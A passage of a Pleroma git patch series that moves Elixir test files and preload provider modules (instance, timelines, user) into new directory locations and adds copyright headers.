enabled but mail disabled" do - Pleroma.Config.put([:welcome, :email, :enabled], true) - Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) - - assert_raise Pleroma.ApplicationRequirements.VerifyError, "The mail disabled.", fn -> - capture_log(&Pleroma.ApplicationRequirements.verify!/0) - end - end - end - - describe "check_confirmation_accounts!" do - setup_with_mocks([ - {Pleroma.ApplicationRequirements, [:passthrough], - [ - check_migrations_applied!: fn _ -> :ok end - ]} - ]) do - :ok - end - - setup do: clear_config([:instance, :account_activation_required]) - - test "raises if account confirmation is required but mailer isn't enable" do - Pleroma.Config.put([:instance, :account_activation_required], true) - Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) - - assert_raise Pleroma.ApplicationRequirements.VerifyError, - "Account activation enabled, but Mailer is disabled. Cannot send confirmation emails.", - fn -> - capture_log(&Pleroma.ApplicationRequirements.verify!/0) - end - end - - test "doesn't do anything if account confirmation is disabled" do - Pleroma.Config.put([:instance, :account_activation_required], false) - Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) - assert Pleroma.ApplicationRequirements.verify!() == :ok - end - - test "doesn't do anything if account confirmation is required and mailer is enabled" do - Pleroma.Config.put([:instance, :account_activation_required], true) - Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], true) - assert Pleroma.ApplicationRequirements.verify!() == :ok - end - end - - describe "check_rum!" do - setup_with_mocks([ - {Pleroma.ApplicationRequirements, [:passthrough], - [check_migrations_applied!: fn _ -> :ok end]} - ]) do - :ok - end - - setup do: clear_config([:database, :rum_enabled]) - - test "raises if rum is enabled and detects unapplied rum migrations" do - Pleroma.Config.put([:database, :rum_enabled], true) - - with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> false end]}]) do - assert_raise Pleroma.ApplicationRequirements.VerifyError, - "Unapplied RUM Migrations detected", - fn -> - capture_log(&Pleroma.ApplicationRequirements.verify!/0) - end - end - end - - test "raises if rum is disabled and detects rum migrations" do - Pleroma.Config.put([:database, :rum_enabled], false) - - with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> true end]}]) do - assert_raise Pleroma.ApplicationRequirements.VerifyError, - "RUM Migrations detected", - fn -> - capture_log(&Pleroma.ApplicationRequirements.verify!/0) - end - end - end - - test "doesn't do anything if rum enabled and applied migrations" do - Pleroma.Config.put([:database, :rum_enabled], true) - - with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> true end]}]) do - assert Pleroma.ApplicationRequirements.verify!() == :ok - end - end - - test "doesn't do anything if rum disabled" do - Pleroma.Config.put([:database, :rum_enabled], false) - - with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> false end]}]) do - assert Pleroma.ApplicationRequirements.verify!() == :ok - end - end - end - - describe "check_migrations_applied!" do - setup_with_mocks([ - {Ecto.Migrator, [], - [ - with_repo: fn repo, fun -> passthrough([repo, fun]) end, - migrations: fn Repo -> - [ - {:up, 20_191_128_153_944, "fix_missing_following_count"}, - {:up, 20_191_203_043_610, "create_report_notes"}, - {:down, 20_191_220_174_645, "add_scopes_to_pleroma_feo_auth_records"} - ] - end - ]} - ]) do - :ok - end - - setup do: clear_config([:i_am_aware_this_may_cause_data_loss, :disable_migration_check]) - - test "raises if it detects unapplied migrations" do - assert_raise Pleroma.ApplicationRequirements.VerifyError, - "Unapplied Migrations detected", - fn -> - capture_log(&Pleroma.ApplicationRequirements.verify!/0) - end - end - - test "doesn't do anything if disabled" do - Pleroma.Config.put([:i_am_aware_this_may_cause_data_loss, :disable_migration_check], true) - - assert :ok == Pleroma.ApplicationRequirements.verify!() - end - end -end diff --git a/test/http/tzdata_test.exs b/test/http/tzdata_test.exs deleted file mode 100644 index 3e605d33b..000000000 --- a/test/http/tzdata_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.TzdataTest do - use ExUnit.Case - - import Tesla.Mock - alias Pleroma.HTTP - @url "https://data.iana.org/time-zones/tzdata-latest.tar.gz" - - setup do - mock(fn - %{method: :head, url: @url} -> - %Tesla.Env{status: 200, body: ""} - - %{method: :get, url: @url} -> - %Tesla.Env{status: 200, body: "hello"} - end) - - :ok - end - - describe "head/1" do - test "returns successfully result" do - assert HTTP.Tzdata.head(@url, [], []) == {:ok, {200, []}} - end - end - - describe "get/1" do - test "returns successfully result" do - assert HTTP.Tzdata.get(@url, [], []) == {:ok, {200, [], "hello"}} - end - end -end diff --git a/test/pleroma/application_requirements_test.exs b/test/pleroma/application_requirements_test.exs new file mode 100644 index 000000000..c505ae229 --- /dev/null +++ b/test/pleroma/application_requirements_test.exs @@ -0,0 +1,149 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ApplicationRequirementsTest do + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Mock + + alias Pleroma.ApplicationRequirements + alias Pleroma.Config + alias Pleroma.Repo + + describe "check_welcome_message_config!/1" do + setup do: clear_config([:welcome]) + setup do: clear_config([Pleroma.Emails.Mailer]) + + test "raises if welcome email enabled but mail disabled" do + Pleroma.Config.put([:welcome, :email, :enabled], true) + Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) + + assert_raise Pleroma.ApplicationRequirements.VerifyError, "The mail disabled.", fn -> + capture_log(&Pleroma.ApplicationRequirements.verify!/0) + end + end + end + + describe "check_confirmation_accounts!" do + setup_with_mocks([ + {Pleroma.ApplicationRequirements, [:passthrough], + [ + check_migrations_applied!: fn _ -> :ok end + ]} + ]) do + :ok + end + + setup do: clear_config([:instance, :account_activation_required]) + + test "raises if account confirmation is required but mailer isn't enable" do + Pleroma.Config.put([:instance, :account_activation_required], true) + Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) + + assert_raise Pleroma.ApplicationRequirements.VerifyError, + "Account activation enabled, but Mailer is disabled. Cannot send confirmation emails.", + fn -> + capture_log(&Pleroma.ApplicationRequirements.verify!/0) + end + end + + test "doesn't do anything if account confirmation is disabled" do + Pleroma.Config.put([:instance, :account_activation_required], false) + Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], false) + assert Pleroma.ApplicationRequirements.verify!() == :ok + end + + test "doesn't do anything if account confirmation is required and mailer is enabled" do + Pleroma.Config.put([:instance, :account_activation_required], true) + Pleroma.Config.put([Pleroma.Emails.Mailer, :enabled], true) + assert Pleroma.ApplicationRequirements.verify!() == :ok + end + end + + describe "check_rum!" do + setup_with_mocks([ + {Pleroma.ApplicationRequirements, [:passthrough], + [check_migrations_applied!: fn _ -> :ok end]} + ]) do + :ok + end + + setup do: clear_config([:database, :rum_enabled]) + + test "raises if rum is enabled and detects unapplied rum migrations" do + Config.put([:database, :rum_enabled], true) + + with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> false end]}]) do + assert_raise ApplicationRequirements.VerifyError, + "Unapplied RUM Migrations detected", + fn -> + capture_log(&ApplicationRequirements.verify!/0) + end + end + end + + test "raises if rum is disabled and detects rum migrations" do + Config.put([:database, :rum_enabled], false) + + with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> true end]}]) do + assert_raise ApplicationRequirements.VerifyError, + "RUM Migrations detected", + fn -> + capture_log(&ApplicationRequirements.verify!/0) + end + end + end + + test "doesn't do anything if rum enabled and applied migrations" do + Config.put([:database, :rum_enabled], true) + + with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> true end]}]) do + assert ApplicationRequirements.verify!() == :ok + end + end + + test "doesn't do anything if rum disabled" do + Config.put([:database, :rum_enabled], false) + + with_mocks([{Repo, [:passthrough], [exists?: fn _, _ -> false end]}]) do + assert ApplicationRequirements.verify!() == :ok + end + end + end + + describe "check_migrations_applied!" do + setup_with_mocks([ + {Ecto.Migrator, [], + [ + with_repo: fn repo, fun -> passthrough([repo, fun]) end, + migrations: fn Repo -> + [ + {:up, 20_191_128_153_944, "fix_missing_following_count"}, + {:up, 20_191_203_043_610, "create_report_notes"}, + {:down, 20_191_220_174_645, "add_scopes_to_pleroma_feo_auth_records"} + ] + end + ]} + ]) do + :ok + end + + setup do: clear_config([:i_am_aware_this_may_cause_data_loss, :disable_migration_check]) + + test "raises if it detects unapplied migrations" do + assert_raise ApplicationRequirements.VerifyError, + "Unapplied Migrations detected", + fn -> + capture_log(&ApplicationRequirements.verify!/0) + end + end + + test "doesn't do anything if disabled" do + Config.put([:i_am_aware_this_may_cause_data_loss, :disable_migration_check], true) + + assert :ok == ApplicationRequirements.verify!() + end + end +end diff --git a/test/pleroma/http/tzdata_test.exs b/test/pleroma/http/tzdata_test.exs new file mode 100644 index 000000000..3e605d33b --- /dev/null +++ b/test/pleroma/http/tzdata_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.TzdataTest do + use ExUnit.Case + + import Tesla.Mock + alias Pleroma.HTTP + @url "https://data.iana.org/time-zones/tzdata-latest.tar.gz" + + setup do + mock(fn + %{method: :head, url: @url} -> + %Tesla.Env{status: 200, body: ""} + + %{method: :get, url: @url} -> + %Tesla.Env{status: 200, body: "hello"} + end) + + :ok + end + + describe "head/1" do + test "returns successfully result" do + assert HTTP.Tzdata.head(@url, [], []) == {:ok, {200, []}} + end + end + + describe "get/1" do + test "returns successfully result" do + assert HTTP.Tzdata.get(@url, [], []) == {:ok, {200, [], "hello"}} + end + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs new file mode 100644 index 000000000..64636656c --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs @@ -0,0 +1,159 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.UserUpdateHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + + import Pleroma.Factory + + test "it works for incoming update activities" do + user = insert(:user, local: false) + + update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() + + object = + update_data["object"] + |> Map.put("actor", user.ap_id) + |> Map.put("id", user.ap_id) + + update_data = + update_data + |> Map.put("actor", user.ap_id) + |> Map.put("object", object) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(update_data) + + assert data["id"] == update_data["id"] + + user = User.get_cached_by_ap_id(data["actor"]) + assert user.name == "gargle" + + assert user.avatar["url"] == [ + %{ + "href" => + "https://cd.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg" + } + ] + + assert user.banner["url"] == [ + %{ + "href" => + "https://cd.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png" + } + ] + + assert user.bio == "<p>Some bio</p>" + end + + test "it works with alsoKnownAs" do + %{ap_id: actor} = insert(:user, local: false) + + assert User.get_cached_by_ap_id(actor).also_known_as == [] + + {:ok, _activity} = + "test/fixtures/mastodon-update.json" + |> File.read!() + |> Poison.decode!() + |> Map.put("actor", actor) + |> Map.update!("object", fn object -> + object + |> Map.put("actor", actor) + |> Map.put("id", actor) + |> Map.put("alsoKnownAs", [ + "http://mastodon.example.org/users/foo", + "http://example.org/users/bar" + ]) + end) + |> Transmogrifier.handle_incoming() + + assert User.get_cached_by_ap_id(actor).also_known_as == [ + "http://mastodon.example.org/users/foo", + "http://example.org/users/bar" + ] + end + + test "it works with custom profile fields" do + user = insert(:user, local: false) + + assert user.fields == [] + + update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() + + object = + update_data["object"] + |> Map.put("actor", user.ap_id) + |> Map.put("id", user.ap_id) + + update_data = + update_data + |> Map.put("actor", user.ap_id) + |> Map.put("object", object) + + {:ok, _update_activity} = Transmogrifier.handle_incoming(update_data) + + user = User.get_cached_by_ap_id(user.ap_id) + + assert user.fields == [ + %{"name" => "foo", "value" => "updated"}, + %{"name" => "foo1", "value" => "updated"} + ] + + Pleroma.Config.put([:instance, :max_remote_account_fields], 2) + + update_data = + update_data + |> put_in(["object", "attachment"], [ + %{"name" => "foo", "type" => "PropertyValue", "value" => "bar"}, + %{"name" => "foo11", "type" => "PropertyValue", "value" => "bar11"}, + %{"name" => "foo22", "type" => "PropertyValue", "value" => "bar22"} + ]) + |> Map.put("id", update_data["id"] <> ".") + + {:ok, _} = Transmogrifier.handle_incoming(update_data) + + user = User.get_cached_by_ap_id(user.ap_id) + + assert user.fields == [ + %{"name" => "foo", "value" => "updated"}, + %{"name" => "foo1", "value" => "updated"} + ] + + update_data = + update_data + |> put_in(["object", "attachment"], []) + |> Map.put("id", update_data["id"] <> ".") + + {:ok, _} = Transmogrifier.handle_incoming(update_data) + + user = User.get_cached_by_ap_id(user.ap_id) + + assert user.fields == [] + end + + test "it works for incoming update activities which lock the account" do + user = insert(:user, local: false) + + update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() + + object = + update_data["object"] + |> Map.put("actor", user.ap_id) + |> Map.put("id", user.ap_id) + |> Map.put("manuallyApprovesFollowers", true) + + update_data = + update_data + |> Map.put("actor", user.ap_id) + |> Map.put("object", object) + + {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(update_data) + + user = User.get_cached_by_ap_id(user.ap_id) + assert user.locked == true + end +end diff --git a/test/web/activity_pub/transmogrifier/user_update_handling_test.exs b/test/web/activity_pub/transmogrifier/user_update_handling_test.exs deleted file mode 100644 index 64636656c..000000000 --- a/test/web/activity_pub/transmogrifier/user_update_handling_test.exs +++ /dev/null @@ -1,159 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.UserUpdateHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - - import Pleroma.Factory - - test "it works for incoming update activities" do - user = insert(:user, local: false) - - update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() - - object = - update_data["object"] - |> Map.put("actor", user.ap_id) - |> Map.put("id", user.ap_id) - - update_data = - update_data - |> Map.put("actor", user.ap_id) - |> Map.put("object", object) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(update_data) - - assert data["id"] == update_data["id"] - - user = User.get_cached_by_ap_id(data["actor"]) - assert user.name == "gargle" - - assert user.avatar["url"] == [ - %{ - "href" => - "https://cd.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg" - } - ] - - assert user.banner["url"] == [ - %{ - "href" => - "https://cd.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png" - } - ] - - assert user.bio == "<p>Some bio</p>" - end - - test "it works with alsoKnownAs" do - %{ap_id: actor} = insert(:user, local: false) - - assert User.get_cached_by_ap_id(actor).also_known_as == [] - - {:ok, _activity} = - "test/fixtures/mastodon-update.json" - |> File.read!() - |> Poison.decode!() - |> Map.put("actor", actor) - |> Map.update!("object", fn object -> - object - |> Map.put("actor", actor) - |> Map.put("id", actor) - |> Map.put("alsoKnownAs", [ - "http://mastodon.example.org/users/foo", - "http://example.org/users/bar" - ]) - end) - |> Transmogrifier.handle_incoming() - - assert User.get_cached_by_ap_id(actor).also_known_as == [ - "http://mastodon.example.org/users/foo", - "http://example.org/users/bar" - ] - end - - test "it works with custom profile fields" do - user = insert(:user, local: false) - - assert user.fields == [] - - update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() - - object = - update_data["object"] - |> Map.put("actor", user.ap_id) - |> Map.put("id", user.ap_id) - - update_data = - update_data - |> Map.put("actor", user.ap_id) - |> Map.put("object", object) - - {:ok, _update_activity} = Transmogrifier.handle_incoming(update_data) - - user = User.get_cached_by_ap_id(user.ap_id) - - assert user.fields == [ - %{"name" => "foo", "value" => "updated"}, - %{"name" => "foo1", "value" => "updated"} - ] - - Pleroma.Config.put([:instance, :max_remote_account_fields], 2) - - update_data = - update_data - |> put_in(["object", "attachment"], [ - %{"name" => "foo", "type" => "PropertyValue", "value" => "bar"}, - %{"name" => "foo11", "type" => "PropertyValue", "value" => "bar11"}, - %{"name" => "foo22", "type" => "PropertyValue", "value" => "bar22"} - ]) - |> Map.put("id", update_data["id"] <> ".") - - {:ok, _} = Transmogrifier.handle_incoming(update_data) - - user = User.get_cached_by_ap_id(user.ap_id) - - assert user.fields == [ - %{"name" => "foo", "value" => "updated"}, - %{"name" => "foo1", "value" => "updated"} - ] - - update_data = - update_data - |> put_in(["object", "attachment"], []) - |> Map.put("id", update_data["id"] <> ".") - - {:ok, _} = Transmogrifier.handle_incoming(update_data) - - user = User.get_cached_by_ap_id(user.ap_id) - - assert user.fields == [] - end - - test "it works for incoming update activities which lock the account" do - user = insert(:user, local: false) - - update_data = File.read!("test/fixtures/mastodon-update.json") |> Poison.decode!() - - object = - update_data["object"] - |> Map.put("actor", user.ap_id) - |> Map.put("id", user.ap_id) - |> Map.put("manuallyApprovesFollowers", true) - - update_data = - update_data - |> Map.put("actor", user.ap_id) - |> Map.put("object", object) - - {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(update_data) - - user = User.get_cached_by_ap_id(user.ap_id) - assert user.locked == true - end -end -- cgit v1.2.3 From 3c8c540707db4c6cf43997f08be4f2a857b63688 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 15:31:56 +0300 Subject: copyright --- lib/credo/check/consistency/file_location.ex | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/credo/check/consistency/file_location.ex b/lib/credo/check/consistency/file_location.ex index 08be2bcf9..500983608 100644 --- a/lib/credo/check/consistency/file_location.ex +++ b/lib/credo/check/consistency/file_location.ex @@ -1,5 +1,8 @@ +# Pleroma: A lightweight social networking server # Originally taken from # https://github.com/VeryBigThings/elixir_common/blob/master/lib/vbt/credo/check/consistency/file_location.ex +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only defmodule Credo.Check.Consistency.FileLocation do @moduledoc false -- cgit v1.2.3 From 207211a2b36f2ce119cded088a0795b26f707621 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Fri, 26 Jun 2020 08:38:22 +0300 Subject: update files consistency after rebase --- lib/pleroma/web/preload/instance.ex | 59 ---------------------- lib/pleroma/web/preload/provider.ex | 7 --- lib/pleroma/web/preload/providers/instance.ex | 59 ++++++++++++++++++++++ lib/pleroma/web/preload/providers/provider.ex | 7 +++ lib/pleroma/web/preload/providers/timelines.ex | 39 ++++++++++++++ lib/pleroma/web/preload/providers/user.ex | 26 ++++++++++ lib/pleroma/web/preload/timelines.ex | 39 -------------- lib/pleroma/web/preload/user.ex | 26 ---------- test/http/ex_aws_test.exs | 54 -------------------- test/pleroma/http/ex_aws_test.exs | 54 ++++++++++++++++++++ .../web/preload/providers/instance_test.exs | 56 ++++++++++++++++++++ .../web/preload/providers/timeline_test.exs | 56 ++++++++++++++++++++ test/pleroma/web/preload/providers/user_test.exs | 33 ++++++++++++ test/web/preload/instance_test.exs | 56 -------------------- test/web/preload/timeline_test.exs | 56 -------------------- test/web/preload/user_test.exs | 33 ------------ 16 files changed, 330 insertions(+), 330 deletions(-) delete mode 100644 lib/pleroma/web/preload/instance.ex delete mode 100644 lib/pleroma/web/preload/provider.ex create mode 100644 lib/pleroma/web/preload/providers/instance.ex create mode 100644 lib/pleroma/web/preload/providers/provider.ex create mode 100644 lib/pleroma/web/preload/providers/timelines.ex create mode 100644 lib/pleroma/web/preload/providers/user.ex delete mode 100644 lib/pleroma/web/preload/timelines.ex delete mode 100644 lib/pleroma/web/preload/user.ex delete mode 100644 test/http/ex_aws_test.exs create mode 100644 test/pleroma/http/ex_aws_test.exs create mode 100644 test/pleroma/web/preload/providers/instance_test.exs create mode 100644 test/pleroma/web/preload/providers/timeline_test.exs create mode 100644 test/pleroma/web/preload/providers/user_test.exs delete mode 100644 test/web/preload/instance_test.exs delete mode 100644 test/web/preload/timeline_test.exs delete mode 100644 test/web/preload/user_test.exs diff --git a/lib/pleroma/web/preload/instance.ex b/lib/pleroma/web/preload/instance.ex deleted file mode 100644 index cc6f8cf99..000000000 --- a/lib/pleroma/web/preload/instance.ex +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Preload.Providers.Instance do - alias Pleroma.Plugs.InstanceStatic - alias Pleroma.Web.MastodonAPI.InstanceView - alias Pleroma.Web.Nodeinfo.Nodeinfo - alias Pleroma.Web.Preload.Providers.Provider - alias Pleroma.Web.TwitterAPI.UtilView - - @behaviour Provider - @instance_url "/api/v1/instance" - @panel_url "/instance/panel.html" - @nodeinfo_url "/nodeinfo/2.0.json" - @fe_config_url "/api/pleroma/frontend_configurations" - - @impl Provider - def generate_terms(_params) do - %{} - |> build_info_tag() - |> build_panel_tag() - |> build_nodeinfo_tag() - |> build_fe_config_tag() - end - - defp build_info_tag(acc) do - info_data = InstanceView.render("show.json", %{}) - - Map.put(acc, @instance_url, info_data) - end - - defp build_panel_tag(acc) do - instance_path = InstanceStatic.file_path(@panel_url |> to_string()) - - if File.exists?(instance_path) do - panel_data = File.read!(instance_path) - Map.put(acc, @panel_url, panel_data) - else - acc - end - end - - defp build_nodeinfo_tag(acc) do - case Nodeinfo.get_nodeinfo("2.0") do - {:error, _} -> - acc - - nodeinfo_data -> - Map.put(acc, @nodeinfo_url, nodeinfo_data) - end - end - - defp build_fe_config_tag(acc) do - fe_data = UtilView.render("frontend_configurations.json", %{}) - - Map.put(acc, @fe_config_url, fe_data) - end -end diff --git a/lib/pleroma/web/preload/provider.ex b/lib/pleroma/web/preload/provider.ex deleted file mode 100644 index 7ef595a34..000000000 --- a/lib/pleroma/web/preload/provider.ex +++ /dev/null @@ -1,7 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Preload.Providers.Provider do - @callback generate_terms(map()) :: map() -end diff --git a/lib/pleroma/web/preload/providers/instance.ex b/lib/pleroma/web/preload/providers/instance.ex new file mode 100644 index 000000000..cc6f8cf99 --- /dev/null +++ b/lib/pleroma/web/preload/providers/instance.ex @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Preload.Providers.Instance do + alias Pleroma.Plugs.InstanceStatic + alias Pleroma.Web.MastodonAPI.InstanceView + alias Pleroma.Web.Nodeinfo.Nodeinfo + alias Pleroma.Web.Preload.Providers.Provider + alias Pleroma.Web.TwitterAPI.UtilView + + @behaviour Provider + @instance_url "/api/v1/instance" + @panel_url "/instance/panel.html" + @nodeinfo_url "/nodeinfo/2.0.json" + @fe_config_url "/api/pleroma/frontend_configurations" + + @impl Provider + def generate_terms(_params) do + %{} + |> build_info_tag() + |> build_panel_tag() + |> build_nodeinfo_tag() + |> build_fe_config_tag() + end + + defp build_info_tag(acc) do + info_data = InstanceView.render("show.json", %{}) + + Map.put(acc, @instance_url, info_data) + end + + defp build_panel_tag(acc) do + instance_path = InstanceStatic.file_path(@panel_url |> to_string()) + + if File.exists?(instance_path) do + panel_data = File.read!(instance_path) + Map.put(acc, @panel_url, panel_data) + else + acc + end + end + + defp build_nodeinfo_tag(acc) do + case Nodeinfo.get_nodeinfo("2.0") do + {:error, _} -> + acc + + nodeinfo_data -> + Map.put(acc, @nodeinfo_url, nodeinfo_data) + end + end + + defp build_fe_config_tag(acc) do + fe_data = UtilView.render("frontend_configurations.json", %{}) + + Map.put(acc, @fe_config_url, fe_data) + end +end diff --git a/lib/pleroma/web/preload/providers/provider.ex b/lib/pleroma/web/preload/providers/provider.ex new file mode 100644 index 000000000..7ef595a34 --- /dev/null +++ b/lib/pleroma/web/preload/providers/provider.ex @@ -0,0 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Preload.Providers.Provider do + @callback generate_terms(map()) :: map() +end diff --git a/lib/pleroma/web/preload/providers/timelines.ex b/lib/pleroma/web/preload/providers/timelines.ex new file mode 100644 index 000000000..b279a865d --- /dev/null +++ b/lib/pleroma/web/preload/providers/timelines.ex @@ -0,0 +1,39 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Preload.Providers.Timelines do + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.MastodonAPI.StatusView + alias Pleroma.Web.Preload.Providers.Provider + + @behaviour Provider + @public_url "/api/v1/timelines/public" + + @impl Provider + def generate_terms(params) do + build_public_tag(%{}, params) + end + + def build_public_tag(acc, params) do + if Pleroma.Config.restrict_unauthenticated_access?(:timelines, :federated) do + acc + else + Map.put(acc, @public_url, public_timeline(params)) + end + end + + defp public_timeline(%{"path" => ["main", "all"]}), do: get_public_timeline(false) + + defp public_timeline(_params), do: get_public_timeline(true) + + defp get_public_timeline(local_only) do + activities = + ActivityPub.fetch_public_activities(%{ + type: ["Create"], + local_only: local_only + }) + + StatusView.render("index.json", activities: activities, for: nil, as: :activity) + end +end diff --git a/lib/pleroma/web/preload/providers/user.ex b/lib/pleroma/web/preload/providers/user.ex new file mode 100644 index 000000000..b3d2e9b8d --- /dev/null +++ b/lib/pleroma/web/preload/providers/user.ex @@ -0,0 +1,26 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Preload.Providers.User do + alias Pleroma.User + alias Pleroma.Web.MastodonAPI.AccountView + alias Pleroma.Web.Preload.Providers.Provider + + @behaviour Provider + @account_url_base "/api/v1/accounts" + + @impl Provider + def generate_terms(%{user: user}) do + build_accounts_tag(%{}, user) + end + + def generate_terms(_params), do: %{} + + def build_accounts_tag(acc, %User{} = user) do + account_data = AccountView.render("show.json", %{user: user, for: user}) + Map.put(acc, "#{@account_url_base}/#{user.id}", account_data) + end + + def build_accounts_tag(acc, _), do: acc +end diff --git a/lib/pleroma/web/preload/timelines.ex b/lib/pleroma/web/preload/timelines.ex deleted file mode 100644 index b279a865d..000000000 --- a/lib/pleroma/web/preload/timelines.ex +++ /dev/null @@ -1,39 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Preload.Providers.Timelines do - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.MastodonAPI.StatusView - alias Pleroma.Web.Preload.Providers.Provider - - @behaviour Provider - @public_url "/api/v1/timelines/public" - - @impl Provider - def generate_terms(params) do - build_public_tag(%{}, params) - end - - def build_public_tag(acc, params) do - if Pleroma.Config.restrict_unauthenticated_access?(:timelines, :federated) do - acc - else - Map.put(acc, @public_url, public_timeline(params)) - end - end - - defp public_timeline(%{"path" => ["main", "all"]}), do: get_public_timeline(false) - - defp public_timeline(_params), do: get_public_timeline(true) - - defp get_public_timeline(local_only) do - activities = - ActivityPub.fetch_public_activities(%{ - type: ["Create"], - local_only: local_only - }) - - StatusView.render("index.json", activities: activities, for: nil, as: :activity) - end -end diff --git a/lib/pleroma/web/preload/user.ex b/lib/pleroma/web/preload/user.ex deleted file mode 100644 index b3d2e9b8d..000000000 --- a/lib/pleroma/web/preload/user.ex +++ /dev/null @@ -1,26 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Preload.Providers.User do - alias Pleroma.User - alias Pleroma.Web.MastodonAPI.AccountView - alias Pleroma.Web.Preload.Providers.Provider - - @behaviour Provider - @account_url_base "/api/v1/accounts" - - @impl Provider - def generate_terms(%{user: user}) do - build_accounts_tag(%{}, user) - end - - def generate_terms(_params), do: %{} - - def build_accounts_tag(acc, %User{} = user) do - account_data = AccountView.render("show.json", %{user: user, for: user}) - Map.put(acc, "#{@account_url_base}/#{user.id}", account_data) - end - - def build_accounts_tag(acc, _), do: acc -end diff --git a/test/http/ex_aws_test.exs b/test/http/ex_aws_test.exs deleted file mode 100644 index d0b00ca26..000000000 --- a/test/http/ex_aws_test.exs +++ /dev/null @@ -1,54 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.HTTP.ExAwsTest do - use ExUnit.Case - - import Tesla.Mock - alias Pleroma.HTTP - - @url "https://s3.amazonaws.com/test_bucket/test_image.jpg" - - setup do - mock(fn - %{method: :get, url: @url, headers: [{"x-amz-bucket-region", "us-east-1"}]} -> - %Tesla.Env{ - status: 200, - body: "image-content", - headers: 